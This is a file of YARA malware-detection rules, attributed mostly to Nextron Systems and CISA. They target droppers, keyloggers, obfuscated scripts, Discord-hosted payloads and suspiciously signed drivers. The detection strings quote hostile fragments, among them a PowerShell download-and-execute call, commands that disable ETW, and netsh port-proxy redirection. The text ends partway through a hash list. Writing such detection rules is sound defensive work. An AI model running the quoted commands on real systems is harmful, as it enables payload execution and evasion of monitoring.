rule VBS_dropper_script_Dec17_1
{
	meta:
		description = "Detects a supicious VBS script that drops an executable"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-01-01"
		score = 80
		id = "60f23d32-0737-501f-bf1c-1ca32af62efc"

	strings:
		$s1 = "TVpTAQEAAAAEAA"
		$s2 = "TVoAAAAAAAAAAA"
		$s3 = "TVqAAAEAAAAEAB"
		$s4 = "TVpQAAIAAAAEAA"
		$s5 = "TVqQAAMAAAAEAA"
		$a1 = "= CreateObject(\"Wscript.Shell\")" fullword ascii

	condition:
		filesize < 600KB and $a1 and 1 of ( $s* )
}

rule SUSP_PDB_Strings_Keylogger_Backdoor : HIGHVOL
{
	meta:
		description = "Detects PDB strings used in backdoors or keyloggers"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-03-23"
		score = 65
		id = "190daadb-0de6-5665-a241-95c374dbda47"

	strings:
		$ = "\\Release\\PrivilegeEscalation"
		$ = "\\Release\\KeyLogger"
		$ = "\\Debug\\PrivilegeEscalation"
		$ = "\\Debug\\KeyLogger"
		$ = "Backdoor\\KeyLogger_"
		$ = "\\ShellCode\\Debug\\"
		$ = "\\ShellCode\\Release\\"
		$ = "\\New Backdoor"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 1 of them
}

rule SUSP_Microsoft_Copyright_String_Anomaly_2
{
	meta:
		description = "Detects Floxif Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-05-11"
		score = 60
		hash1 = "de055a89de246e629a8694bde18af2b1605e4b9b493c7e4aef669dd67acf5085"
		id = "3257aff0-b923-5e56-b67c-fa676341a102"

	strings:
		$s1 = "Microsoft(C) Windows(C) Operating System" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them
}

rule SUSP_LNK_File_AppData_Roaming
{
	meta:
		description = "Detects a suspicious link file that references to AppData Roaming"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html"
		date = "2018-05-16"
		score = 50
		id = "d905e58f-ae2e-5dc2-b206-d0435b023df0"

	strings:
		$s2 = "AppData" fullword wide
		$s3 = "Roaming" fullword wide
		$s4 = { 00 2E 00 65 00 78 00 65 00 2E 00 43 00 3A 00 5C
              00 55 00 73 00 65 00 72 00 73 00 5C }

	condition:
		uint16( 0 ) == 0x004c and uint32( 4 ) == 0x00021401 and ( filesize < 1KB and all of them )
}

rule SUSP_LNK_File_PathTraversal
{
	meta:
		description = "Detects a suspicious link file that references a file multiple folders lower than the link itself"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html"
		date = "2018-05-16"
		score = 40
		id = "f4f6709f-9c4d-5f0c-9826-97444d282adc"

	strings:
		$s1 = "..\\..\\..\\..\\..\\"

	condition:
		uint16( 0 ) == 0x004c and uint32( 4 ) == 0x00021401 and ( filesize < 1KB and all of them )
}

rule SUSP_Script_Obfuscation_Char_Concat
{
	meta:
		description = "Detects strings found in sample from CN group repo leak in October 2018"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/JaromirHorejsi/status/1047084277920411648"
		date = "2018-10-04"
		hash1 = "b30cc10e915a23c7273f0838297e0d2c9f4fc0ac1f56100eef6479c9d036c12b"
		id = "6d3bfdfd-ef8f-5740-ac1f-5835c7ce0f43"

	strings:
		$s1 = "\"c\" & \"r\" & \"i\" & \"p\" & \"t\"" ascii

	condition:
		1 of them
}

rule SUSP_PowerShell_IEX_Download_Combo
{
	meta:
		description = "Detects strings found in sample from CN group repo leak in October 2018"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/JaromirHorejsi/status/1047084277920411648"
		date = "2018-10-04"
		hash1 = "13297f64a5f4dd9b08922c18ab100d3a3e6fdeab82f60a4653ab975b8ce393d5"
		id = "1dfedcb0-345c-548c-85ac-3c1e78bfd9e2"

	strings:
		$x1 = "IEX ((new-object net.webclient).download" ascii nocase
		$fp1 = "chocolatey.org"
		$fp2 = "Remote Desktop in the Appveyor"
		$fp3 = "/appveyor/" ascii

	condition:
		$x1 and not 1 of ( $fp* )
}

rule SUSP_Win32dll_String
{
	meta:
		description = "Detects suspicious string in executables"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://medium.com/@Sebdraven/apt-sidewinder-changes-theirs-ttps-to-install-their-backdoor-f92604a2739"
		date = "2018-10-24"
		hash1 = "7bd7cec82ee98feed5872325c2f8fd9f0ea3a2f6cd0cd32bcbe27dbbfd0d7da1"
		id = "b1c78386-c23d-5138-942a-3da90e5802cc"

	strings:
		$s1 = "win32dll.dll" fullword ascii

	condition:
		filesize < 60KB and all of them
}

rule SUSP_Modified_SystemExeFileName_in_File
{
	meta:
		description = "Detecst a variant of a system file name often used by attackers to cloak their activity"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"
		date = "2018-12-11"
		score = 65
		hash1 = "5723f425e0c55c22c6b8bb74afb6b506943012c33b9ec1c928a71307a8c5889a"
		hash2 = "f1f11830b60e6530b680291509ddd9b5a1e5f425550444ec964a08f5f0c1a44e"
		id = "97d91e1b-49b8-504e-9e9c-6cfb7c2afe41"

	strings:
		$s1 = "svchosts.exe" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them
}

rule SUSP_JAVA_Class_with_VBS_Content
{
	meta:
		description = "Detects a JAVA class file with strings known from VBS files"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.menlosecurity.com/blog/a-jar-full-of-problems-for-financial-services-companies"
		date = "2019-01-03"
		score = 60
		hash1 = "e0112efb63f2b2ac3706109a233963c19750b4df0058cc5b9d3fa1f1280071eb"
		id = "5c1433e2-e2af-52aa-8a8c-691aaf15760d"

	strings:
		$a1 = "java/lang/String" ascii
		$s1 = ".vbs" ascii
		$s2 = "createNewFile" fullword ascii
		$s3 = "wscript" fullword ascii nocase

	condition:
		( uint16( 0 ) == 0xfeca or uint16( 0 ) == 0xfacf or uint32( 0 ) == 0xbebafeca ) and filesize < 100KB and $a1 and 3 of ( $s* )
}

rule SUSP_RAR_with_PDF_Script_Obfuscation
{
	meta:
		description = "Detects RAR file with suspicious .pdf extension prefix to trick users"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-04-06"
		hash1 = "b629b46b009a1c2306178e289ad0a3d9689d4b45c3d16804599f23c90c6bca5b"
		id = "a3d2f5e9-3052-551b-8b2c-abcdd1ac2e48"

	strings:
		$s1 = ".pdf.vbe" ascii
		$s2 = ".pdf.vbs" ascii
		$s3 = ".pdf.ps1" ascii
		$s4 = ".pdf.bat" ascii
		$s5 = ".pdf.exe" ascii

	condition:
		uint32( 0 ) == 0x21726152 and 1 of them
}

rule SUSP_Netsh_PortProxy_Command
{
	meta:
		description = "Detects a suspicious command line with netsh and the portproxy command"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-interface-portproxy"
		date = "2019-04-20"
		score = 65
		hash1 = "9b33a03e336d0d02750a75efa1b9b6b2ab78b00174582a9b2cb09cd828baea09"
		id = "cbbd2042-572c-5283-bd45-e745b36733ad"

	strings:
		$x1 = "netsh interface portproxy add v4tov4 listenport=" ascii

	condition:
		1 of them
}

rule SUSP_DropperBackdoor_Keywords
{
	meta:
		description = "Detects suspicious keywords that indicate a backdoor"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html"
		date = "2019-04-24"
		hash1 = "cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5"
		id = "2942ba6d-a533-5954-bfcf-417262e2fac2"

	strings:
		$x4 = "DropperBackdoor" fullword wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 1 of them
}

rule SUSP_SFX_cmd
{
	meta:
		description = "Detects suspicious SFX as used by Gamaredon group"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-09-27"
		hash1 = "965129e5d0c439df97624347534bc24168935e7a71b9ff950c86faae3baec403"
		id = "87e75fe6-c2d7-5cb4-9432-7c37dbfe94b8"

	strings:
		$s1 = /RunProgram=\"hidcon:[a-zA-Z0-9]{1,16}.cmd/ fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them
}

rule SUSP_XMRIG_Reference
{
	meta:
		description = "Detects an executable with a suspicious XMRIG crypto miner reference"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/itaitevet/status/1141677424045953024"
		date = "2019-06-20"
		score = 70
		id = "0a7324ce-90dc-5e6a-b22a-c29eccf324e9"

	strings:
		$x1 = "\\xmrig\\" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them
}

rule SUSP_Just_EICAR
{
	meta:
		description = "Just an EICAR test file - this is boring but users asked for it"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://2016.eicar.org/85-0-Download.html"
		date = "2019-03-24"
		score = 40
		hash1 = "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"
		id = "e5eedd77-36e2-56a0-be0c-2553043c225a"

	strings:
		$s1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" fullword ascii

	condition:
		uint16( 0 ) == 0x3558 and filesize < 70 and $s1 at 0
}

rule SUSP_PDB_Path_Keywords
{
	meta:
		description = "Detects suspicious PDB paths"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/stvemillertime/status/1179832666285326337?s=20"
		date = "2019-10-04"
		id = "cbd9b331-58bb-5b29-88a2-5c19f12893a9"

	strings:
		$ = "Debug\\Shellcode" ascii
		$ = "Release\\Shellcode" ascii
		$ = "Debug\\ShellCode" ascii
		$ = "Release\\ShellCode" ascii
		$ = "Debug\\shellcode" ascii
		$ = "Release\\shellcode" ascii
		$ = "shellcode.pdb" nocase ascii
		$ = "\\ShellcodeLauncher" ascii
		$ = "\\ShellCodeLauncher" ascii
		$ = "Fucker.pdb" ascii
		$ = "\\AVFucker\\" ascii
		$ = "ratTest.pdb" ascii
		$ = "Debug\\CVE_" ascii
		$ = "Release\\CVE_" ascii
		$ = "Debug\\cve_" ascii
		$ = "Release\\cve_" ascii

	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule SUSP_Disable_ETW_Jun20_1
{
	meta:
		description = "Detects method to disable ETW in ENV vars before executing a program"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://gist.github.com/Cyb3rWard0g/a4a115fd3ab518a0e593525a379adee3"
		date = "2020-06-06"
		id = "ea5dee09-959e-5ef2-8f84-5497bdef0a05"

	strings:
		$x1 = "set COMPlus_ETWEnabled=0" ascii wide fullword
		$x2 = "$env:COMPlus_ETWEnabled=0" ascii wide fullword
		$s1 = "Software\\Microsoft.NETFramework" ascii wide
		$sa1 = "/v ETWEnabled" ascii wide fullword
		$sa2 = " /d 0" ascii wide
		$sb4 = "-Name ETWEnabled"
		$sb5 = " -Value 0 "

	condition:
		1 of ( $x* ) or 3 of them
}

rule SUSP_PE_Discord_Attachment_Oct21_1
{
	meta:
		description = "Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2021-10-12"
		score = 70
		id = "7c217350-4a35-505d-950d-1bc989c14bc2"

	strings:
		$x1 = "https://cdn.discordapp.com/attachments/" ascii wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and 1 of them
}

rule SUSP_Encoded_Discord_Attachment_Oct21_1
{
	meta:
		description = "Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2021-10-12"
		score = 70
		id = "06c086f4-8b79-5506-9e3f-b5d099106157"

	strings:
		$enc_b01 = "Y2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRz" ascii wide
		$enc_b02 = "Nkbi5kaXNjb3JkYXBwLmNvbS9hdHRhY2htZW50c" ascii wide
		$enc_b03 = "jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudH" ascii wide
		$enc_b04 = "AGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABz" ascii wide
		$enc_b05 = "BjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAc" ascii wide
		$enc_b06 = "AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AH" ascii wide
		$enc_h01 = "63646E2E646973636F72646170702E636F6D2F6174746163686D656E7473" ascii wide
		$enc_h02 = "63646e2e646973636f72646170702e636f6d2f6174746163686d656e7473" ascii wide
		$enc_r01 = "stnemhcatta/moc.ppadrocsid.ndc" ascii wide

	condition:
		filesize < 5000KB and 1 of them
}

rule APT_MAL_CISA_10365227_03_ClientUploader_Dec21
{
	meta:
		author = "CISA Code & Media Analysis"
		date = "2021-12-23"
		modified = "2021-12-24"
		score = 80
		description = "Detects ClientUploader onedrv"
		reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
		hash1 = "84164e1e8074c2565d3cd178babd93694ce54811641a77ffdc8d1084dd468afb"
		id = "4eeadb28-9312-5602-932a-36acb48772f4"

	strings:
		$s1 = "Decoder2"
		$s2 = "ClientUploader"
		$s3 = "AppDomain"
		$s4 = { 5F 49 73 52 65 70 47 ?? 44 65 63 6F 64 65 72 73 }
		$s5 = "LzmaDecoder"
		$s6 = "$ee1b3f3b-b13c-432e-a461-e52d273896a7"

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule APT_MAL_CISA_10365227_01_APPSTORAGE_Dec21
{
	meta:
		author = "CISA Code & Media Analysis"
		date = "2021-12-23"
		modified = "2021-12-24"
		family = "APPSTORAGE"
		score = 80
		description = "Detects AppStorage ntstatus msexch samples"
		reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
		hash1 = "157a0ffd18e05bfd90a4ec108e5458cbde01015e3407b3964732c9d4ceb71656"
		hash2 = "30191b3badf3cdbc65d0ffeb68e0f26cef10a41037351b0f562ab52fce7432cc"
		id = "a44c5609-980f-5961-921c-6b1824cdd49c"

	strings:
		$s1 = "026B924DD52F8BE4A3FEE8575DC"
		$s2 = "GetHDDId"
		$s3 = "AppStorage"
		$s4 = "AppDomain"
		$s5 = "$1e3e5580-d264-4c30-89c9-8933c948582c"
		$s6 = "hrjio2mfsdlf235d" wide

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule APT_MAL_CISA_10365227_02_ClientUploader_Dec21
{
	meta:
		author = "CISA Code & Media Analysis"
		date = "2021-12-23"
		modified = "2021-12-24"
		score = 80
		description = "Detects ClientUploader_mqsvn"
		reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
		hash1 = "3585c3136686d7d48e53c21be61bb2908d131cf81b826acf578b67bb9d8e9350"
		id = "84351df9-e225-5c3f-9385-523246681a97"

	strings:
		$s1 = "UploadSmallFileWithStopWatch"
		$s2 = "UploadPartWithStopwatch"
		$s3 = "AppVClient"
		$s4 = "ClientUploader"
		$s5 = { 46 69 6C 65 43 6F 6E 74 61 69 6E 65 72 2E 46 69 6C 65 41 72 63 68 69 76 65 }
		$s6 = { 4F 6E 65 44 72 69 76 65 43 6C 69 65 6E 74 2E 4F 6E 65 44 72 69 76 65 }

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

import "pe"

rule SUSP_Unsigned_OSPPSVC
{
	meta:
		description = "Detects a suspicious unsigned office software protection platform service binary"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/2019/09/24/no-summer-vacations-zebrocy/"
		date = "2019-09-26"
		hash1 = "5294a730f1f0a176583b9ca2b988b3f5ec65dad8c6ebe556b5135566f2c16a56"
		id = "0e312237-0c82-59da-b62d-56065c6075f0"

	strings:
		$sc1 = { 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63
               00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00
               00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
               00 66 00 74 00 20 00 4F 00 66 00 66 00 69 00 63
               00 65 00 20 00 53 00 6F 00 66 00 74 00 77 00 61
               00 72 00 65 00 20 00 50 00 72 00 6F 00 74 00 65
               00 63 00 74 00 69 00 6F 00 6E 00 20 00 50 00 6C
               00 61 00 74 00 66 00 6F 00 72 00 6D 00 20 00 53
               00 65 00 72 00 76 00 69 00 63 00 65 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 8000KB and $sc1 and pe.number_of_signatures < 1
}

rule SUSP_PE_Signed_by_Suspicious_Entitiy_Mar23
{
	meta:
		author = "Arnim Rupp (https://github.com/ruppde)"
		date_created = "2023-03-06"
		description = "Find driver signed by suspicious company (see references)"
		score = 60
		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
		reference = "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware"
		reference = "https://news.sophos.com/en-us/2022/12/13/signed-driver-malware-moves-up-the-software-trust-chain/"
		reference = "https://www.sentinelone.com/labs/driving-through-defenses-targeted-attacks-leverage-signed-malicious-microsoft-drivers/"
		hash = "2fb7a38e69a88e3da8fece4c6a1a81842c1be6ae9d6ac299afa4aef4eb55fd4b"
		hash = "9a24befcc0c0926abb49d43174fe25c2469cca06d6ab3b5000d7c9d434c42fe9"
		hash = "9ad716f0173489e74fefe086000dfbea9dc093b1c3460bed9cdb82f923073806"
		hash = "a007c8c6c1aecfff1065429fef691e7ae1c0ce20012a113f01ac57c61564a627"
		hash = "fbe82a21939d04735aa3bbf23fbabd45ac491a143396e8e62ee20509c1257918"
		hash = "d12c6ea0a86c58ea2d80d1dc9b793ba28a0db92c72bb5b6f4ee2b800fe42091b"
		hash = "4cf31d000f1542690cbc0ace41e4166651a71747978dc408e3cce32e82713917"
		hash = "e1adaea335b20d4d2e351f7bea496cd40cb379376900434866db342f851d9ddf"
		hash = "031408cf2f2c282bcc05066356fcc2bb862b7e3c504ab7ffb0220bea341404a5"
		hash = "2f13d4e1bd35f6c0ad0978af19006c17193cf3d42b71cba763cca68f7e9d7fca"
		hash = "cb40a5dc4f6a27b1dc50176770026b827f8baa05fa95a98a4e880652f6729d96"
		hash = "a7591b7384bd10eb934f0dac8dcbfdff8c352eba2309f4d75553567fa2376efa"
		hash = "d517ce5f132b3274f0b9783a5b0c37d1d648e6079874960af24ca764b011c042"
		hash = "aeec903013d5b66f0ae1c6fa50bb892759149c1cec86db8089a4e60482e02250"
		hash = "0d22828724cb7fbc6cef7f98665d020867d2eb801cff2c21f2e97e481040499b"
		hash = "4b2e874d51d332fd840dadd463a393f9f019de46e49de73be910b9b1365e4e4e"
		hash = "3839c0925acf836238ba9a0c5798b84b1c089a8353cc27ae7e6b75d273b539e3"
		hash = "c470f519fb0d4a2862035e0d9e105a0a6918adc51842b12ad14b5b5f34879963"
		hash = "cc6d174bc86f84f5a4c516e9c04947e2fecc0509a84748ea80576aeee5950aed"
		hash = "6fe8df70254f9b5f53452815f0163cb2ffb2d7f0f5aefbb9b149ad1be9284e31"
		hash = "4cde473fb68fa9b2709ea8a23349cd2fce8b8b3991b9fea12f95d12292b8aa7a"
		hash = "e2c40c8dd60bb395807c39c76bfdf5cd158ebefd2a47ad3306a96662c50057c0"
		hash = "9c12b09b529fa517eaeb49df22527d7563b5432d62776166048d97f83b2dce5c"
		hash = "5a4e17287f3dceb5bf1ed411e5fdd7e8692aebf2a19b334327733fc1c158b0ba"
		hash = "c42964aa7fa354b1a285bdbcbd9e84b6bdd8813ff9361955e0e455d032803cce"
		hash = "ffd6955bf40957a35901d82fd5b96d0cb191b651d3eca7afa779eebfed0d9f7e"
		hash = "f6874335eb0d611d47b2ec99a6b70f7b373a50d8d1f62d290b06174f42279f36"
		hash = "4e6d7fd70a143f19429fead2c14779aea9d9140e270bb9e91e47fa601643e40e"
		hash = "7b0e4aae37660b1099de69f4c14f5d976f260c64a4af8495ff1415512a6268ba"
		hash = "db45cbfb094f3e1ebf1cb3880087a24d4e771cc43ba48ad373e6283cbe7391da"
		hash = "813edc804f59a97ec9391ea0db4b779443bd8daf1e64c622b5e3c9a22ee9c2e0"
		hash = "8d66a4b7c2ae468390d32e5e70b3f9b7cb796b54b7c404cde038de9786be8d1d"
		hash = "85936141f0f32cf8f3173655e7200236d1fce6ef9c2616fd2b19ae7951c644c5"
		hash = "b5fc0cc9980fc594a18682d2b0d5b0d0f19ba7a35d35106693a78f4aaba346ac"
		hash = "7aae36c5ffa8baaab19724dae051673ddafd36107cb61c505926bfceaadcd516"
		hash = "5d0228a0d321e2ddac5502da04ca7a2b2744f3dc1382daa5f02faa9da5aface1"
		hash = "2af1ac8bc8ae8d7cad703d2695f2f6c6d79b82eebba01253a8ec527e11e83fcd"
		hash = "c8f9e1ad7b8cce62fba349a00bc168c849d42cfb2ca5b2c6cc4b51d054e0c497"
		hash = "0e339c9c8a6702b32ee9f2915512cbeb3391ced74b16c7e0aed9b1a80c9e58c8"
		hash = "80bdeaa4f162c65722b700e4ffba31701d0d634f5533e59bf3885dc67ee92f3f"
		hash = "4570f64f2000bdaf53aec0fc2214c8bd54e0f5cb75987cdf1f8bda6ea5fc4c43"
		hash = "a9c906bde6c8a693d5d46c9922dafa2dfd2dec0fff554f3f6a953c2e36d3f7b7"
		hash = "520df3ddd7c9ecdeecac8e443d75ac258c26b45d37ecec22501afdda797f6a0a"
		hash = "4d3e0f27a7bcfd4b442b489c63641af22285ca41c6d56ac1db734196ab10b315"
		hash = "5000b3b1d593ba40cc10098644af1551259590ac67d3726fab2be87aad460877"
		hash = "7c27bd6104fc67dd16e655f3bf67c2abd8b5bf2a693ba714ac86904c5765b316"
		hash = "34b1234eab7ff10edde9e09ecf73c5e4bfe9ee047ccfdb43de1e1f6155afad0c"
		hash = "f6fe2cc9ea31f85273c26e84422137df21cfce4b9e972b0db94fe3a67b54f6ca"
		hash = "ec4d0828196926bd36325f4b021895d37cfaaa024f754b36618c78b2574f0122"
		hash = "2a89f263d85da8fb0c934d287b5b524744479741491c740aaa46ac9f694f6d1b"
		hash = "c8d0122974fc10a7d82c62f3e6573a94379c026dd741fd73497afdf36d3929be"
		hash = "0345f71876bc4c888deadba7284565a8da112901f343e54b8522279968abd1b2"
		hash = "6c0e10650be9e795dc6adfbe8aad8c1c3a8657e4c45cb82a7d5188ee24021ca0"
		hash = "90b8d9c4ff3e4e0a0342e0d91da3a25be2fead29f3b32888bb35f8575845259d"
		hash = "0310400c9e62c3fe08dc6506313e26f7c5c89035c81b0141ce57543910c1c42e"
		hash = "b0da0316443f878aad0b3d9764b631d5df60e119ab59324c37640da1b431893a"
		hash = "cc4bd06f27a5f266bc8825a08e5f45dcaa4352eb6d69214b5037d28cc8de6908"
		hash = "2d4b7c6931203923db9a07e1ac92124e799f3747ab20e95e191e99c7b98f3fbd"
		hash = "b5965de0d883fd0602037f3dc26fd4461e6328612f1a34798cff0066142e13c4"
		hash = "86ce17183ddf32379db53ecaedefe0811252165b05cd326025bb8eca2e6a25d7"
		hash = "6edca16d5aa751aa4c212e6477121d51e4d9b9432896d25b41938a27a554bbe7"
		hash = "cdd8966e0cf08a6578e34de7498a44413a6adabae04d81ef3129f26305966db2"
		hash = "df890974589ed2435f53b8c8f147a06752f1b37404afd4431362c1938fcb451e"
		hash = "3e05d8abaaa95af359e5b09efb30546d0aa693859ebc8a0970a2641556ea644c"
		hash = "1c8ddf4b9c99c8f1945abf1527c7fa93141430680ac156a405d9a927d32f3b5e"
		hash = "5d2ed5930ab1a650f9fb9293f49a9f35737139fdfa9f14e46a07e5d4d721ae3e"
		hash = "18834de3e4844a418970c2184cc78c2d7cb61d18e9f7c7c0e88e994b4212edc5"
		hash = "a6b6fc94d8e582059af0fe30c2c93c687fccd5a0073a6a26a2cd097ea96adc7c"
		hash = "28b40fa160c915f13f046d36725c055d6c827a4d28674ea33c75a9b410321290"
		hash = "efab0fbf77dc67a792efd1fe2b3f46bbdfdee30a9321acc189c53a6c5e90f05c"
		hash = "348781221d1a2886923de089d1b7b12c32cfdd38628b71203da925b5736561e9"
		hash = "a1a5f410e6eab2445d64bfcd742fe1a802a0a2d9af45c7ab398f84894dd5dc3d"
		hash = "9de05ce0d9e9de05ebdc2859a5156f044f98bb180723f427a779d36b1913e5d3"
		hash = "eeff7e85c50a7f11fc8a99f7048953719fb1d2a6451161a0796eac43119ece21"
		hash = "383cc025800a3b3d089f7697e78fe4d5695a8d1ee26dcad0b0956ad6800ccae4"
		hash = "41be6f393cea4d8d5869fff526c4d75ec66c855f7e9c176042c39b9682ea9c14"
		hash = "71552e65433c8bbf14e5bcbc35a708bc10d6fded740c5f4783edce84aea4aabf"
		hash = "3c1b3e8666b58a78c70f36ed557c7ecc52e84457e87e5884b42e5cd9e8c1a303"
		hash = "4288d7113031151a2636a164c0dc6fce78c86f322271afec9ef2d4b54494c334"
		hash = "f73a39332be393a9bc23ec27ff6d025bc90d7320dde97f37cc585ecf6c0436a2"
		hash = "018f5103635992aa9ddc1c46cafe2b7ba659fcfbc8f8ab29dcea28e155b033ee"
		hash = "fe650fc138dcfbbd4ab6aa5718bf3cd36f50898ae19d3aceaa12f7d4f39d0b43"
		hash = "fa21b39cd5a24ba35433e90cae486454b7400b50e7f7f5c190fdbec6704b4352"
		hash = "3dd36c798cc89bfad7cdbf58d7da90ba113fe043ca46bdbcab7ae7fb9dc2f42b"
		hash = "674f4444f0de5c81c766c376a65fbdf1f7116228a61c71ffb504995c9e160183"
		hash = "cd3d25b2842bb2d6a5580f72e819acd344ce7f3a2478fb6d53ff668ad6531228"
		hash = "1668f4eb8a85914db46ff308b9f8a5040a024acc93259dfc004ea2b80ab6bcf1"
		hash = "4f31cab6c011b79bf862bb6acea3086308b0576afe33affdb09039c97e723beb"
		hash = "6b0ff48b8113076d2875edb7bea7f120b7b9d9a990ae296a5b5a95660ae7edfc"
		hash = "956a00dd6382e83d3f7490378ae98e4fc8d9b8ec2cd549519f007091e3ccce1f"
		hash = "8c7f938cf55728d8d41a7fa6b9953c4f81cf05ed3d7b7435ec8999e130257f7f"
		hash = "427ee4d4d18fc0c1196326215e94947f7d8c03794de36d0127231690bf5bf3c0"
		hash = "b6f3ece5bf7b9f6ecf99104d3c76b9007106fad98d20500956dd1e42d4ec5e8d"
		hash = "47a0ad6150c5a1de4c788827662a9cafbd2816a7d32be2028721e49a464acbed"
		hash = "8743ac81384fd10c0459f3574489d626e13c95dd73274dcf1d872bcd3630b9e8"
		hash = "a1755415a12f85bea3f65807860f902cf41e56b0ab2c155ac742af3166ef1dfd"
		hash = "3f5a91500bfade2d9708e1fbe76ae81dacdb7b0f65f335fee598546ccfc267e3"
		hash = "5be43b773dbde6542d6a0d53cd6616ea95a49dd38659edc6ba0d580a0d9777ab"
		hash = "90e080a63916c768b0b65787fe5695fd903d44e1b0b688d06c14988ba30b5ea7"
		hash = "d1184ee3f26919b8f5a4b1a6d089f14e79e0c89260590156111f72a979c8e446"
		hash = "c13ddd2bafcfdfc00fb5cb87d8eb533ae094b0dd5784df77c98bddeac9d72725"
		hash = "9bb3035610bd09ba769c0335f23f98dd85c2f32351cdd907d4761b41ab5d099c"
		hash = "1703025c4aed71d0ca29a3cd0e15047c24cc9adbb5239765f63e205ef7d65753"
		hash = "948d47b9386b2b3247b7e9796ab2f2078889264559ad04ccd9362b03dbbf8534"
		hash = "edd527d978b591d146d24d075bb4c24177e0eca6a27b5d92f35be68635cc3767"
		hash = "c642dc125fbd83e004d2c527933996589e0fcad06313a5a56679a265b8966529"
		hash = "cfa3a48bf0c683834d1d198a653ebced8a8faae9d0cbb38f3e859b45da81d554"
		hash = "bb8f5d123aebdde5542724db5be8430d62a80f86f590a272aac9087d097f395c"
		hash = "e41e10673db41b13ba17c828beb94fc39e8d3aa43b01f9fe437a2f6e0b8ae443"
		hash = "a132e31db9f9761d6bd2c375415e615bb0a548fb02c4fd6373e9f7d1568de1dc"
		hash = "5084c6e20b88adeea6a28508cf172048d7cf20adeaa52abdd361fc2207411055"
		hash = "525320e3631a23a3286481710533ba15cd6268ee10be98962a55e2afead1ffbf"
		hash = "16c74f288f4f929e74cd8e16443303aec3a64cfef64aabc14553f4c1e58c9ede"
		hash = "4b482ebf88bcb55e7b0769690ccca4d08856c879af82ad7165436b82a315d742"
		hash = "79c9acadd99ab1251dbba3bff7d0b67de4252f913f485465d63f4f0c4d9a6419"
		hash = "9bcc3f36c32e3efbf8bdcba7670658042db65dd617dad0709d92c554ba841b57"
		hash = "5654ed1205de6860e66383a27231e4ac2bb7639b07504121d313a8503ece3305"
